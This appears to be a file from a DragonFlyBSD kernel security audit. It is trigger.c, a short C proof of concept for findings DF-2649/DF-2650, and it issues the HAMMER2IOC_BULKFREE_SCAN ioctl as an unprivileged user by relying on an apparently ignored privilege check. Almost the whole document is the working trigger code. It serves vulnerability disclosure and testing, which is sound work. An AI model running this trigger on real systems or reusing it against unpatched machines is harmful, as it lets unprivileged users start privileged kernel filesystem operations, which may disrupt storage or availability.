DragonFlyBSD Kernel Audit
DF-2649 / trigger.c
← back to finding ↓ download raw
/*
 * DF-2649/DF-2650 trigger: HAMMER2IOC_BULKFREE_SCAN on any file of a
 * mounted hammer2 filesystem.  The ioctl ignores the caps_priv_check
 * failure (hammer2_ioctl.c:83 / case at :144), so this runs as an
 * unprivileged user (run as 'nobody').
 */
#include <sys/ioccom.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

struct h2_bfi {
	uint64_t	sbase;
	uint64_t	sstop;
	size_t		size;
	uint64_t	count_allocated;
	uint64_t	count_freed;
	uint64_t	total_fragmented;
	uint64_t	total_allocated;
	uint64_t	total_scanned;
};
#define H2IOC_BULKFREE_SCAN _IOWR('h', 92, struct h2_bfi)

int
main(int argc, char **argv)
{
	struct h2_bfi bfi;
	int fd, r;

	if (argc < 2) {
		fprintf(stderr, "usage: %s <file-on-hammer2>\n", argv[0]);
		return (2);
	}
	memset(&bfi, 0, sizeof(bfi));
	bfi.sbase = 0;
	bfi.size = 8 * 1024 * 1024;

	fd = open(argv[1], O_RDONLY);
	if (fd < 0) {
		perror("open");
		return (1);
	}
	printf("uid=%d euid=%d, issuing HAMMER2IOC_BULKFREE_SCAN\n",
	       getuid(), geteuid());
	fflush(stdout);
	r = ioctl(fd, H2IOC_BULKFREE_SCAN, &bfi);
	printf("ioctl -> r=%d errno=%d sstop=%jx\n",
	       r, errno, (uintmax_t)bfi.sstop);
	return (0);
}